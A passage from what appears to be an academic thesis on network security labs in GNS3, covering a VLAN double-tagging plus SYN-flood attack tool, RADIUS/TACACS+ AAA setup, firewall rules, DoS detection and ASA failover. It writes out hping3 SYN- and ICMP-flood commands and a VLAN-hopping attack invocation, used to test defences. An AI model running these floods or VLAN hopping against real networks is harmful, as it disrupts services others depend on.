<td>192.168.1.100</td>
<td>1</td>
<td>4e:7d:db:28:49</td>
<td>ARPA</td>
<td>FastEthernet0/0</td>
</tr>
<tr>
<td>Internet</td>
<td>192.168.1.1</td>
<td>1</td>
<td>4e:7d:db:28:49</td>
<td>ARPA</td>
<td>FastEthernet0/0</td>
</tr>
<tr>
<td>Internet</td>
<td>192.168.1.2</td>
<td>4</td>
<td>3465.30f4.376c</td>
<td>ARPA</td>
<td>FastEthernet0/0</td>
</tr>
<tr>
<td>Internet</td>
<td>192.168.1.254</td>
<td>-</td>
<td>c201.0768.0000</td>
<td>ARPA</td>
<td>FastEthernet0/0</td>
</tr>
</tbody>
</table>

PC1: sh arp
4e:7d:db:28:49 192.168.1.100 expires in 102 seconds
4e:7d:db:28:49 192.168.1.254 expires in 312 seconds
```

**Figure 3.85:** STP packet that makes the attacker become the root bridge

**Sequential attack**

An advantage of this tool is the capability to deploy a sequential attack. This particular sequential attack will perform a TCP SYN flood over a VLAN double tagging attack, since we will attack a victim that belongs to a VLAN that we are not supposed to have access. To run this attack we use the following command `python layer2attacks.py sequential_attack 1 2 192.168.2.1`, where we indicate the native
VLAN ID, the target VLAN ID and the IP address of the target host. To perform this attack we send numerous TCP SYN packets with random source and destination ports, tagged with two VLAN tags, an inner tag (ID=2) and an outer tag (ID=1). We can observe the TCP SYN packets sent by the attacker in figure 3.87. Analysing individually one of these TCP SYN packets, we can observe that in the link between the attacker and the Switch2 the packet contains the two VLAN tags (figure 3.88). Between Switch2 and Switch1 the outer tag is removed (figure 3.89), which is the tag corresponding to the native VLAN. At the end, between the Switch1 and PC2, the inner tag is also removed since the packet is already in the VLAN2 (figure 3.90). The code that creates these packets and sends them to the victim is in lines 134-144.
3.2 Network protection

3.2.1 AAA

To present a solution regarding AAA, we conduct an experiment using the GNS3 network tool, where we set up an AAA Server, two Cisco router clients, one of them using the TACACS+ protocol and the other using RADIUS, and a Cisco router (R1) for test purposes. The topology used in the experiment was the one of figure 3.91. We configure two different users in the AAA server, that is implemented in a Linux machine that supports RADIUS (using freeradius [37] as the server) and TACACS+, one named admin and the other named guest. The equipment used in our clients support a wide variety of AAA options. For authentication, it is possible to configure a list of methods to use for logins, for Point-to-Point Protocol (PPP), or for AppleTalk Remote Access Protocol (ARAP). In our experiment we used login authentication, where our users have “gns3” as the configured password. Regarding authorization, it is possible to configure security policies for each user and to configure the type of commands each user can perform regarding their different privilege levels. In terms of accounting, we can get records of the network sessions established, records of the beginning and the end of a terminal session, or records of the commands performed by the user. In this case, we configured accounting to get the information that both clients send at the beginning of the established session and at the end of it.

Initially we proceed with the configuration of the AAA server. For RADIUS, we add the intended users in the configuration file located at /etc/freeradius/3.0/users, as follows:

```
1 admin Cleartext-Password := "gns3"
2 cisco-avpair = "shell:priv-lvl=15"
3 guest Cleartext-Password := "gns3"
4 cisco-avpair = "shell:priv-lvl=5"
```

where the admin has all the privileges, and the guest has lower privileges, for example, for the guest it will not be possible to configure the router or to visualize the configuration of the router.
For TACACS+, we do the same, with the respective syntax, in the configuration file located at /etc/tacacs+/tac_plus.conf, as follows:

```plaintext
user = admin {
    member = admin
    login = des AxKP5aUynXxrg
}
user = guest {
    member = shows
    login = des AxKP5aUynXxrg
}
group = admin {
        default service = permit
        service = exec {
            priv-lvl = 15
        }
}
group = shows {
    service = exec {
            priv-lvl = 5
        }
}
```

where the string "AxKP5aUynXxrg" corresponds to an attribute in TACACS+ called des_string. This attribute represents the encryption of the introduced password. In our experiment, the password will be encrypted to the string "AxKP5aUynXxrg".

Now that we have configured the AAA server we need to launch the services with the following commands:

```plaintext
service freeradius start
service tacacs_plus start
```

After that we need to configure the routers RADIUSCli and TACACSCli that contain, respectively, the RADIUS client and the TACACS+ client. For the router RADIUSCli we use the following configuration:

```plaintext
conf t
aaa new-model
username radmin privilege 15 password 0 radmin
enable password admin
radius-server host 192.168.1.100 auth-port 1812 acct-port 1813
radius-server key gns3
aaa group server radius radius_group
    server 192.168.1.100 auth-port 1812 acct-port 1813
exit
line vty 0 4
transport input all
```
where we allow telnet sessions to test RADIUS (lines 10 and 11). Regarding authentication we configure
the list of logins, prioritising RADIUS authentication to access the console and to enable the router, but
allowing local authentication in case of failure (lines 13, 14 and 15). In terms of authorization we also
give priority to the security policies implemented in the RADIUS, but allowing local authorization in case
of failure (lines 16 and 17). For accounting, we chose to get the records in the beginning and at the end
of the session (line 18).

For the configuration of the TACACSGui, we use the following commands:

conf t
aaa new-model
username tadmin privilege 15 password 0 tadmin
enable password admin
tacacs-server host 192.168.1.100
tacacs-server key gns3
aaa group server tacacs+ tacacs_group
server 192.168.1.100
exit
line vty 0 4
transport input all
aaa authentication login default group tacacs_group local
aaa authentication login console group tacacs_group local
aaa authentication enable default enable group tacacs_group
aaa authorization exec default group tacacs_group local
aaa authorization commands 15 default group tacacs_group local
aaa authorization commands 5 default group tacacs_group local
aaa authorization console
aaa accounting exec default start-stop group tacacs_group
end
wr

where we allow telnet sessions to test TACACS+ (lines 10 and 11). Regarding authentication we config-
ure the list of logins, prioritising TACACS+ authentication to access the console and to enable the router,
but allowing local authentication in case of failure (lines 12, 13 and 14). In terms of authorization we also
give priority to the security policies implemented in the TACACS+, but allowing local authorization in case
of failure (lines 15, 16 and 17). For accounting, we chose to get the records in the beginning and at the end
of the session (line 19).

86
To see the proper operation of the RADIUS protocol we establish two telnet sessions between R1 and RADIUSCLI. In one of the sessions we logged in as the admin (figure 3.92). The admin was configured as privilege 15, so it can perform all the possible commands in the router. In the other session we logged in as the guest (figure 3.93). The guest was configured as privilege 5, so it can only perform basic show commands and cannot change the router configurations. The messages exchanged during a session are shown in figure 3.94. In the admin session, it is possible to observe the message Access-Request that corresponds to authentication and authorization, that appear together due to the operation of RADIUS (figure 3.95). In the Attribute Value Pair (AVP) of the message we can confirm that the logged user is the admin and it is possible to observe that the password is encrypted. In terms of accounting, the messages are exchanged when the telnet session is started, as we can see in the AVP.
Acct-Status-Type with the value "Start", that corresponds to the status of the accounting record (figure 3.96) and when the telnet session is finished, as we can see again in the AVP Acct-Status-Type, where we see the value "Stop" (figure 3.97).

**RADIUS Protocol**

<table>
<thead>
<tr>
<th>Code: Access-Request (1)</th>
<th>Packet Identifier: 0x4 (4)</th>
<th>Length: 85</th>
</tr>
</thead>
<tbody>
<tr>
<td>Authenticator: becadd1f3743b9c95646b0ba0494466</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

[The response to this request is in frame 3]

<table>
<thead>
<tr>
<th>Attribute Value Pairs</th>
</tr>
</thead>
<tbody>
<tr>
<td>AVP: l=7 t=User-Name(11): admin</td>
</tr>
<tr>
<td>AVP: l=18 t=Password(2): Encrypted</td>
</tr>
<tr>
<td>AVP: l=7 t=NAS-Port(5): 98</td>
</tr>
<tr>
<td>AVP: l=7 t=NAS-Port-Type(167): tty98</td>
</tr>
<tr>
<td>AVP: l=5 t=Calling-Station-Id(31): 192.168.1.254</td>
</tr>
<tr>
<td>AVP: l=6 t=NAS-IP-Address(4): 192.168.1.1</td>
</tr>
</tbody>
</table>

**Figure 3.95:** RADIUS access message sent by the admin

**RADIUS Protocol**

<table>
<thead>
<tr>
<th>Code: Accounting-Request (4)</th>
<th>Packet Identifier: 0x4 (4)</th>
<th>Length: 181</th>
</tr>
</thead>
<tbody>
<tr>
<td>Authenticator: 43f72494bde407c933677723d84b18</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

[The response to this request is in frame 3]

<table>
<thead>
<tr>
<th>Attribute Value Pairs</th>
</tr>
</thead>
<tbody>
<tr>
<td>AVP: l=6 t=Acct-Session-Id(44): 00000004</td>
</tr>
<tr>
<td>AVP: l=7 t=UserName(11): admin</td>
</tr>
<tr>
<td>AVP: l=6 t=Acct-Authentic(45): RADIUS(1)</td>
</tr>
<tr>
<td>AVP: l=6 tAcct-Status-Type(40): Start(1)</td>
</tr>
<tr>
<td>AVP: l=6 t=NAS-Port(5): 98</td>
</tr>
<tr>
<td>AVP: l=7 t=NAS-Port-Id(167): tty98</td>
</tr>
<tr>
<td>AVP: l=6 t=NAS-Port-Type(53): Virtual(5)</td>
</tr>
<tr>
<td>AVP: l=15 t=Calling-Station-Id(31): 192.168.1.254</td>
</tr>
<tr>
<td>AVP: l=6 t=Service-Type(6): Exec-User(7)</td>
</tr>
<tr>
<td>AVP: l=6 t=NAS-IP-Address(4): 192.168.1.1</td>
</tr>
<tr>
<td>AVP: l=6 t=Acct-Delay-Time(41): 0</td>
</tr>
</tbody>
</table>

**Figure 3.96:** RADIUS session start message sent by the admin

**RADIUS Protocol**

<table>
<thead>
<tr>
<th>Code: Accounting-Request (4)</th>
<th>Packet Identifier: 0x5 (5)</th>
<th>Length: 113</th>
</tr>
</thead>
<tbody>
<tr>
<td>Authenticator: 5d4d7f71f8a4929e954d14bc7e4f10f74</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

[The response to this request is in frame 3]

<table>
<thead>
<tr>
<th>Attribute Value Pairs</th>
</tr>
</thead>
<tbody>
<tr>
<td>AVP: l=6 t=Acct-Session-Id(44): 00000004</td>
</tr>
<tr>
<td>AVP: l=7 t=UserName(11): admin</td>
</tr>
<tr>
<td>AVP: l=6 t=Acct-Authentic(45): RADIUS(1)</td>
</tr>
<tr>
<td>AVP: l=6 t=Acct-Terminate-Cause(49): User-Request(1)</td>
</tr>
<tr>
<td>AVP: l=6 t=Acct-Session-Time(46): 38</td>
</tr>
<tr>
<td>AVP: l=6 t=Acct-Status-Type(40): Stop(2)</td>
</tr>
<tr>
<td>AVP: l=6 t=NAS-Port(5): 98</td>
</tr>
<tr>
<td>AVP: l=7 t=NAS-Port-Id(167): tty98</td>
</tr>
<tr>
<td>AVP: l=6 t=NAS-Port-Type(53): Virtual(5)</td>
</tr>
<tr>
<td>AVP: l=15 t=Calling-Station-Id(31): 192.168.1.254</td>
</tr>
<tr>
<td>AVP: l=6 t=Service-Type(6): Exec-User(7)</td>
</tr>
<tr>
<td>AVP: l=6 t=NAS-IP-Address(4): 192.168.1.1</td>
</tr>
<tr>
<td>AVP: l=6 t=Acct-Delay-Time(41): 0</td>
</tr>
</tbody>
</table>

**Figure 3.97:** RADIUS session stop message sent by the admin

To see the proper operation of the TACACS+ protocol we also establish two telnet sessions between R1 and TACACSci. In one of the sessions we logged in as the admin (figure 3.98). As before, the admin was configured as privilege 15, so it can perform all the possible commands in the router. In the other session we logged in as the guest (figure 3.99). The guest was configured as privilege 5, so it can only perform basic show commands and cannot change the router configurations. The messages
exchanged during the session are represented in figure 3.100. In the admin session, it is possible to observe that the messages regarding authentication, authorization and accounting appear separated due to the operation of TACACS+. In all these messages (figures 3.101, 3.102, 3.103) we can’t see the parameters exchanged, since TACACS+ encrypts all the exchanged fields. The messages exchanged in the guest session, due to the encryption of TACACS+ are visually the same.
3.2.2 Firewalls

In this section we compare two different implementations of a firewall solution. In the first implementation we use Cisco ASA Firewall, where we are able to configure the firewall through a graphical interface called ASDM. In the second implementation we configure a Cisco router as a Firewall, using the Zone-based Police Firewall (ZBPF).

Each implementation of our solution is divided in two different parts: traffic control and detecting DoS attacks. In the traffic control part we are able to permit and deny traffic accordingly to a set of established rules (presented below). Regarding the detection of DoS we detect some DoS attacks such as TCP SYN flood and ICMP flood. The set of defined rules is as follows:

- Rule 1 - The private zones (Inside1 and Inside2) cannot communicate with each other;
- Rule 2 - The private zones cannot be accessed from other zones;
- Rule 3 - The DMZ can be accessed by all the other zones;
• Rule 4 - The Outside zone can be accessed by all the other zones;

• Rule 5 - Communication from the private zones to the Outside zone is only allowed for HTTP, Hypertext Transfer Protocol Secure (HTTPS), ICMP and DNS;

• Rule 6 - Communication from the private zones to the DMZ is only allowed for HTTP, HTTPS, ICMP, Post Office Protocol (POP3), Internet Message Access Protocol (IMAP) and SMTP;

• Rule 7 - Communication from the DMZ to the Outside zone is only allowed for ICMP;

• Rule 8 - Communication from the Outside zone to the DMZ is only allowed for HTTP and HTTPS, ICMP, and SMTP;

• Rule 9 - The access to the Firewall must be allowed from all zones, but only using for SSH;

• Rule 10 - All that is not allowed by the previous rules must be denied.

To perform the traffic control experiment we use the GNS3 network tool, where we have 4 different zones. The Outside zone, which contains a DNS server. The DMZ, which contains a web server and an email server. And two private zones, Inside1 and Inside2, each one containing a PC. The topology used is presented in figure 3.104. The only difference in the used topology regarding the two solutions is the presence of the management PC, called MgmtPC, that is used in the ASA Firewall implementation to run the ASDM graphical interface.
In order to provide a realistic approach the DNS server in the Outside zone and the web and email server are properly configured. The DNS server is configured in a Linux machine, provided by a GNS3 appliance, that uses dnsmasq [38]. For that we need to edit the dnsmasq configuration file, usually located at /etc/dnsmasq.conf, adding the following line:

```
interface = eth0
```

this specifies to dnsmasq what is the interface that is receiving the DNS requests. After editing this file it is always necessary to restart the service in order to apply the changes made. For that we use the following command:

```
service dnsmasq restart
```

It is also necessary to introduce the DNS records with the domains that we want to give to the several hosts in the network. For that we edit the file usually located at /etc/hosts, adding the following:

```
192.168.1.1 pcin1
192.168.2.1 pcin2
100.0.0.1 web
100.0.0.2 email
200.0.0.1 out
```

matching the IP addresses and the domains of the hosts. The web server is configured using a Cisco router, where we set up a HTTP and a HTTPS server. This can be done using the following commands:

```
conf t
username admin privilege 15 password 0 admin
ip http server
ip http authentication local
ip http secure-server
end
wr
```

where we also configure a username and a password to allow authentication in HTTP. The email server was supposed to provide a service for SMTP, POP3 and IMAP, but unfortunately, there was an error with the setup of postfix [39] that would allow the SMTP configuration, that we couldn’t solve. On the other hand, we are able to configure the services for POP3 and for IMAP. For that we use dovecot [40], an open source POP3 and IMAP email server for Linux systems. To configure these services, we need to edit the file usually located at /etc/dovecot/conf.d/10-auth.conf, adding the following line:

```
auth_mechanisms = plain login
```
where we allow an authenticated user to login into the server. We also need to edit the file usually located at /etc/dovecot/conf.d/10-master.conf, adding the following lines:

```
service pop3-login {
    inet_listener pop3 {
        port = 110
    }
}

service imap-login {
    inet_listener imap {
        port = 143
    }
}
```

where we declare in what ports does POP3 and IMAP run. After editing these files it is always necessary to restart the service in order to apply the changes made. For that we use the following command:

```
    service dovecot restart
```

We also added a user, with the username being test and the password being test, for testing purposes, with the following command:

```
    useradd test > test
```

All of these configurations are used in the two implementations. What really changes between them is the configuration of the firewall itself.

To perform the experiment where we stop DoS attacks we used the GNS3 network tool, where we have 2 different zones. The Outside zone, which contains a Docker container with Kali Linux, to launch the attacks. And a private zone called Inside, containing an HTTP server. The topology used is presented in figure 3.105. To launch the DoS attacks we use the tool hping3. The only difference in the used topology regarding the two solutions is the presence of the management PC, called MgmtPC, that is used in the ASA Firewall implementation to run the ASDM graphical interface.

3.2.2.A ASA Firewall

Regarding the implementation of the ASA firewall, we do all the configurations through the ASDM graphical interface. We start by configuring all the interfaces with an IP address. To configure an interface we provide a name, enable the interface, assign the IP address and the subnet mask. As example we present the configuration of the interface regarding the zone Inside1 in the figure 3.106. After configuring all the interfaces, the firewall should contain the interfaces regarding the zones Inside1, Inside2,
DMZ, Outside and the management interface, as we can observe in figure 3.107. The existence of the management interface is necessary to provide a way of configuring the ASA firewall using ASDM.

After that, we configure the interfaces of the firewall to be accessed through SSH by the different zones. To configure the remote access by SSH we need to configure the access type, the interface name, the IP address and the subnet mask. As example, we present in the figure 3.108 the configuration of SSH remote access to the interface Inside1. After configuring the remote access in all the interfaces, the firewall remote access contains access through SSH for the interfaces Inside1, Inside2, DMZ, Outside and the HTTPS access to use ASDM, as we can observe in figure 3.109.
For accessing to the Firewall through SSH we also need to configure a user with credentials that will allow the remote access. This can be done as presented in figure 3.110 by adding defining a username, a password and privilege level. Thereafter all we need to do is configure the ACLs regarding the defined rules. We exemplify how to configure an ACL in the ASA firewall (figure 3.111). In this example we define an ACE that permits all the ICMP traffic destined to the DMZ zone. After configuring the ACLs in all interfaces, following the presented example, each interface will comply with the defined rules. Regarding the interfaces Inside1 and Inside2, we permit HTTP, HTTPS, ICMP and DNS traffic to the Outside zone. We also permit HTTP, HTTPS and ICMP traffic to the Web server and SMTP, POP3, IMAP and ICMP traffic to the Email Server. Finally we permit SSH traffic to the firewall (figures 3.112(a), 3.112(b)). Regarding the DMZ we permit ICMP, SMTP and DNS traffic to the Outside interface and SSH traffic to the firewall (figure 3.113(a)). Regarding Outside interface we permit HTTP, HTTPS and ICMP traffic...
traffic to the Web server. We also permit SMTP and ICMP traffic to the Email server. Finally we allow
SSH traffic to the firewall (figure 3.113(b)). As in the defined rules all the traffic that is not permitted must
be denied by the firewall, this is represented in figure 3.114.

Finally, we need to test the Firewall configuration to check if it fulfils all the rules defined. We use
pings between the different zones to test the ICMP traffic control and telnet sessions to test the remaining
protocols. Regarding rule 1, we confirm that the zones Inside1 and Inside2 cannot communicate with
each other, since the ping it is not successfully executed (figure 3.115).
Figure 3.115: Rule 1 - The private zones (Inside1 and Inside2) cannot communicate with each other

With respect to rule 2 we realize the DMZ zone and the Outside zone cannot communicate with the private zones, since the ping it is not successful (figure 3.116).

Figure 3.116: Rule 2 - The private zones cannot be accessed from other zones

Regarding rule 3 we note that the DMZ can be accessed by all the other zones, since we can perform pings to the HTTP and Email server (figure 3.117).

Figure 3.117: Rule 3 - The DMZ can be accessed by all the other zones

With respect to rule 4 it is possible to observe that the Outside zone can be accessed by all the other zones, since we can perform pings to the DNS server (figure 3.118).

Figure 3.118: Rule 4 - The Outside zone can be accessed by all the other zones

Regarding rule 5 we can observe that we are only allowed to access the Outside zone by HTTP, HTTPS, ICMP and DNS (figures 3.119 and 3.120).

Figure 3.119: Rule 5 - Communication from the zone Inside1 to the Outside zone is only allowed for HTTP, HTTPS, ICMP and DNS

97
With respect to rule 6 we confirm that we are allowed to access the Web server by HTTP and HTTPS. We are also allowed to access the Email server by SMTP, POP3 and IMAP (figures 3.121, 3.122, 3.123, 3.124, 3.125, 3.126, 3.127, 3.128).

Figure 3.121: Rule 6 - Communication from the zone Inside1 to the DMZ through HTTP and HTTPS

Figure 3.122: Rule 6 - Communication from the zone Inside1 to the DMZ through POP3

Figure 3.123: Rule 6 - Communication from the zone Inside1 to the DMZ through IMAP
Figure 3.124: Rule 6 - Communication from the zone Inside1 to the DMZ through SMTP

Figure 3.125: Rule 6 - Communication from the zone Inside2 to the DMZ through HTTP and HTTPS

Figure 3.126: Rule 6 - Communication from the zone Inside2 to the DMZ through POP3

Figure 3.127: Rule 6 - Communication from the zone Inside2 to the DMZ through IMAP

Figure 3.128: Rule 6 - Communication from the zone Inside2 to the DMZ through SMTP

Regarding rule 7 we confirm that DMZ can only communicate with the Outside zone through ICMP (figure 3.130).

With respect to rule 8 we observe that we can communicate from Outside to the Web server through HTTP and HTTPS and to the Email Server through SMTP (figures 3.131 and 3.132).

Regarding rule 9 we prove that we can access remotely to the firewall from all the zones only using...
Figure 3.129: Rule 7 - Communication from the DMZ to the Outside zone is only allowed for ICMP

```
Sending 5, 100-byte ICMP Echos to 200.0.0.1, timeout is 2 seconds:
!
Success rate is 100 percent (5/5), round-trip min/avg/max = 4/33/48 ms
```

Figure 3.130: Rule 7 - Communication from the DMZ to the Outside zone is only allowed for ICMP

```
Sending 5, 100-byte ICMP Echos to 200.0.0.1, timeout is 2 seconds:
!
Success rate is 100 percent (5/5), round-trip min/avg/max = 4/33/48 ms
```

Figure 3.131: Rule 8 - Communication from the Outside zone to the DMZ through HTTP and HTTPS

```
<table>
<thead>
<tr>
<th>Source</th>
<th>Destination</th>
<th>Service</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>200.0.0.0.1</td>
<td>200.0.0.1</td>
<td>HTTP</td>
<td>56</td>
</tr>
<tr>
<td>100.0.0.1</td>
<td>200.0.0.0.1</td>
<td>HTTP</td>
<td>76</td>
</tr>
</tbody>
</table>
```

Figure 3.132: Rule 8 - Communication from the Outside zone to the DMZ through SMTP

SSH (figure 3.133).

```
Pleaselogin - Id admin 192.168.2.254
Accepted
User admin logged in to closebox
Login over the last 3 days: 1
Failed login since the last login: 0
Type help or ? for a list of available commands, closebox exit
Logoff
```

```
Nclogin - Id admin 192.168.2.254
Accepted
User admin logged in to closebox
Login over the last 3 days: 1
Failed login since the last login: 0
Type help or ? for a list of available commands, closebox exit
Logoff
```

Figure 3.133: Rule 9 - The access to the Firewall must be allowed from all zones, but only using for SSH

The ASA firewall can also detect malicious traffic carrying attacks, for example, DoS attacks. The DoS attack that we will use in this experiment is the TCP SYN flood attack, since apparently the ASA firewall hasn’t a way to detect ICMP flood attacks.

First, we need to configure the ASA firewall, through ASDM, to protect our network from a TCP SYN flood. In these configurations, we limit the number of half-open TCP connections, that in the ASA firewall are named embryonic connections and the number of embryonic connections per client (figure 100...
3.134(a)). When the defined limit of half-open TCP connections is exceeded the ASA prevents the TCP connections. We also need to enable a technology, called TCP Intercept (figure 3.134(b)), that allows the observation and monitoring of statistics such as connection statistics, dropped packets rate and possible attacks rate, that can help us during an attack.

![Image of ASA configuration settings and TCP Intercept enabling](image)

(a) Configuration of ASA connection settings  
(b) Enabling TCP intercept

**Figure 3.134:** Configurations to detect TCP SYN flood attacks

Before launching the attack in the Kali Linux container, the statistics that we can analyse in ASA are represented in figure 3.135(a). These statistics include the number of established connections, the number of dropped packets and the number of detected attacks. As expected, since we have not yet launched the attack, we cannot detect changes in these statistics. After observing the ASA initial statistics, we launch the attack with the command:

```
1 hping3 -S -p 80 --flood --rand-source 10.0.2.1
```

where we use the SYN flag, sending the packets to port 80, that corresponds to HTTP, as fast as possible, randomizing the source address of the attacker and selecting the HTTP server as the target. From this moment on it is possible to observe the ASA firewall detecting the incoming TCP SYN flood attack (figure 3.135(b)), since we can observe a detection of new connections, dropped packets and the detection of an attack occurring.
3.2.2.B Zone-based policy Firewall

In the ZBPF, the firewall interfaces are assigned to zones and the traffic moving between zones is inspected regarding defined policies. These policies can take 3 different actions regarding traffic: pass, drop and inspect. The pass action is equivalent to an ACL permit. The drop action is equal to an ACL deny. The inspect action keeps information regarding the inspected traffic on the stateful table of the firewall. ZBPF filters the traffic travelling between two different zones, if a zone pair is defined and a policy is applied to this pair. Otherwise the traffic is allowed if both interfaces are in the same zone and dropped if one interface is a zone member, but the other is not. Another important concept in the ZBPF is the self zone, that refers to the router, which by default allows the traffic from and to the router. However, after a defined zone pair involves the self zone, the traffic starts to be filtered as well.

Regarding the implementation of the ZBPF, using a Cisco router as the firewall, the configurations that we use to implement the ZBPF are included in Appendix A.1 and will be referenced as we explain them. First of all we need to create the security zones that we use in the experiment (lines 2-5). Then we assign each interface of the firewall to each security zone (lines 16-23). Next it is necessary to define the ACLs that will implement the defined rules in our firewall (lines 25-47), where we allow the traffic related to the Web and Email server sent by the private zones (lines 25-31), the traffic related to the DNS server (lines 33-37), the traffic related to the DMZ zone sent by the Outside zone (lines 39-41) and the traffic related to the self zone (lines 43-47). Thereafter, we identify the different protocols to analyse in the traffic with class maps (lines 49-88), according the defined rules. After that we define the actions that the firewall will take through policy maps (lines 90-118), regarding the protocols defined in the class maps. After that we only need to assign each policy map to a zone pair (lines 120-148), to conclude the configuration of ZBPF.

Finally we need to test the ZBPF configuration to check if the rules implemented produce the ex-
pected results. As in the implementation of the ASA firewall we use pings between the different zones to test the ICMP traffic control and telnet sessions to test the remaining traffic. The results of the tests were exactly the same as in the ASA firewall implementation.

Comparing the two different firewall implementations, the ASA firewall implementation shows advantage by providing an easier way of configuration through a graphical interface and contains a set of different new features regarding VPNs and IPSs that we also approach in this document but not using the ASA firewall. The ZBPF also proves itself valuable since it does not rely only on ACL and assigns each firewall interface to a security zone, which allows pair relations between zones. The ZBPF presents a good scalability, since it can add new interfaces easily by assigning them to a defined zone. Unlike ASA firewall, the ZBPF cannot be configured through an graphical interface, since it can only be configured by the Cisco router commands.

The ZBPF can also detect malicious traffic carrying attacks, for example, DoS attacks. The DoS attacks that we will use in this experiments are the ICMP flood attack and the TCP SYN flood attack.

The commands used to configure the ZBPF to detect the mentioned DoS attacks is included in Appendix A.2 and will be referenced as we explain them in the text. Initially, we configure the ZBPF, with two security zones (lines 1-3). Then we have to assign each interface to a security zone (lines 5-8). Next it is necessary to define the ACL that will allow the traffic destined to the HTTP server (lines 10-11). Thereafter, we identify the traffic to analyse, namely ICMP and HTTP traffic that correspond to the DoS attacks in study with class maps (lines 13-25). After that we define the action that the firewall will take facing the attacks, through a policy map (lines 27-35). Where the lines 30 and 33, respectively, limit the rate (expressed in bits/second) and the burst (expressed in bytes) of TCP and ICMP incoming packets in order to detect and stop the DoS attacks. We will test different values of rate and burst to get different results and draw some conclusions. After that we assign the policy map to the zone pair (lines 37-38).

To test the firewall against the DoS attacks, first we perform a ICMP flood attack with the Kali Linux, using the tool hping3, with the following command:

```
  hping3 -1 --flood 10.0.2.1
```

where we configure the tool to send ICMP requests, as fast as possible, selecting the HTTP server as the target.

For the set of values (rate = 128000, burst = 8000) and running the tool hping3 for 10 seconds, we can observe that the firewall drops the packets that don’t comply with the defined policy (figure 3.136(a)). To observe if the firewall is dropping the packets we use the following command:

```
  show policy-map type inspect zone-pair OUT_TO_IN
```

103
Firewall dropping ICMP packets with the following policy values (rate = 128000, burst = 8000)

Figure 3.136: Firewall dropping ICMP packets with different policy values (rate and burst)

For the set of values (rate = 32000, burst = 2000) and also running the tool hping3 for 10 seconds, we can observe that the firewall drops the packets that don’t comply with the defined policy (figure 3.136(b)). Observing the values of the dropped packets, we realise that the firewall allows more packets in the first case, since the values of rate and burst were higher. When we lower these values we note that the number of allowed packets is lower.

Now we test the ZBPF for the TCP SYN flood attack, using the hping3, with the following parameters:

```
  hping3 -S -p 80 --flood --rand-source 10.0.2.1
```

where we use the SYN flag, sending the packets to the port 80, that corresponds to HTTP, as fast as possible, randomizing the source address of the attacker and selecting the HTTP server as the target.

For the set of values (rate = 128000, burst = 8000) and running the tool hping3 for 10 seconds, we can observe that the firewall drops the packets that don’t comply with the defined policy (figure 3.137(a)). For the set of values (rate = 32000, burst = 2000) and also running the tool hping3 for 10 seconds, we can observe that the firewall drops the packets that don’t comply with the defined policy (figure 3.137(b)). Observing the values of the dropped packets, we realise that as in the ICMP flood attack, the firewall allows more packets in the first case (rate = 128000, burst = 8000), since the values of rate and burst
Firewall dropping TCP packets with the following policy values (rate = 128000, burst = 8000)

Firewall dropping TCP packets with the following policy values (rate = 32000, burst = 2000)

Figure 3.137: Firewall dropping TCP packets with different policy values (rate and burst)

were higher. When we lower these values we note that the number of allowed packets is lower.

3.2.3 High availability - ASA firewall

Since we have been using the ASA firewall in some of our experiments, we found important to explore a feature called failover, which allows high availability on a network, since we have two or more ASA firewalls in our system, that will become fault-resistant. The failover implementation on ASA firewalls can be configured in two distinct ways: active/active and active/standby. In the active/active implementation both firewalls forward the packets and apply security policies, balancing the load between them. In case of failure, the other peer will be responsible to control all the traffic. In this experiment we will not implement the active/active failover because this implementation it is not available in our ASA virtual image. The other failover implementation, the one that we will use in this experiment, is the active/standby, where one ASA firewall is active, forwarding all the traffic and applying the defined security policies, and the other one is in standby. In case of failure, the standby firewall will change the state to active and control all the traffic.

3.2.3.A Configuration

We set up our experiment in GNS3, with the topology of figure 3.138, where we used a switch and a Cisco router acting as a PC for the Inside and Outside zones, a switch to connect the management
interfaces of both firewalls to a management PC (that is our physical machine connected to GNS3) and finally two ASA firewalls, ASA1 (active) and ASA2 (standby). The two links established between the ASA firewalls represent, the failover link (established between the interfaces G0/1) and the stateful link (established between the interfaces G0/2). In the failover link, the two firewalls communicate to determine the operating status each unit and synchronize configuration changes. In the stateful link, the active firewall passes connection state information to the standby firewall.

![Figure 3.138: Topology used in the high availability on ASA experiment](image)

In terms of configurations we started by setting up the interfaces in the PCs and on the firewalls. All ASA configurations were performed through ASDM. After that we started the configuration of failover features through a wizard available in ASA firewalls. To do that, we select the following option in ASDM:

1. Configuration > Device Management > High Availability >
2. HA/ Scalability Wizard

and we launch the wizard. The configuration wizard has a six steps, to successfully setup the failover technology. First, we choose the option Active/Standby failover (figure 3.139(a)) and we go to the next step. Secondly, we indicate the IP address of the failover peer, which in this case is the management IP address chosen to ASA2 (figure 3.139(b)). After that we configure a failover link (figure 3.140(a)), where we choose an unused interface for communication purposes between the two firewalls. We also define IP addresses to the active IP (ASA1 interface) and standby IP (ASA2 interface). Next, we configure a state link (figure 3.140(b)), where we choose an unused interface for keeping state information between the two firewalls. We also define IP addresses to the active IP (ASA1 interface) and standby IP (ASA2 interface).

Subsequently, we configure the firewall standby IP addresses (figure 3.141(a)), that will take the role of the active IP addresses in case of failure. Finally, we can see the summary of our configuration to confirm that everything is correct (figure 3.141(b)).

After the failover configuration, we can observe in greater detail the attributes of this configuration (figure 3.142), namely the "Unit Poll frequency", that is the time interval between keep-alive messages...
(a) High availability configuration types

(b) Verifying the connectivity with ASA2

Figure 3.139: Steps 1 and 2 of failover configuration

(a) Failover link configuration

(b) State link configuration

Figure 3.140: Steps 3 and 4 of failover configuration

sent between the ASA firewalls (1 second), and the "Interface Pool frequency", that is the time interval between keep-alive messages through the monitored interfaces (5 seconds), corresponding to the Inside and Outside zones. We can also confirm which firewall is configured as the primary one (ASA1) and
Configuration of standby IP addresses and monitoring status to each of the interfaces with configured active IP addresses. Double-click on a standby address or click on a monitoring checkpoint to edit it. Press the Tab or Enter key after editing an address.

The mentioned keep-alive messages and the configuration replication and synchronization, can be seen flowing through the failover link (figure 3.143) and through the monitored interfaces (figures 3.144, 3.145, 3.146 and 3.147). As we can confirm, the time intervals between the keep-alive messages are correct accordingly the ASA firewalls configuration. These messages are used to check if the peer ASA and the monitored interfaces are up, and they are sent as short packets using the IP protocol 105, Space Communications Protocol Specifications (SCPS).

Figure 3.141: Steps 5 and 6 of failover configuration

which one is configured as the secondary (ASA2). This information can be obtained through the following command, in the ASA firewall console:

```
sh failover
```

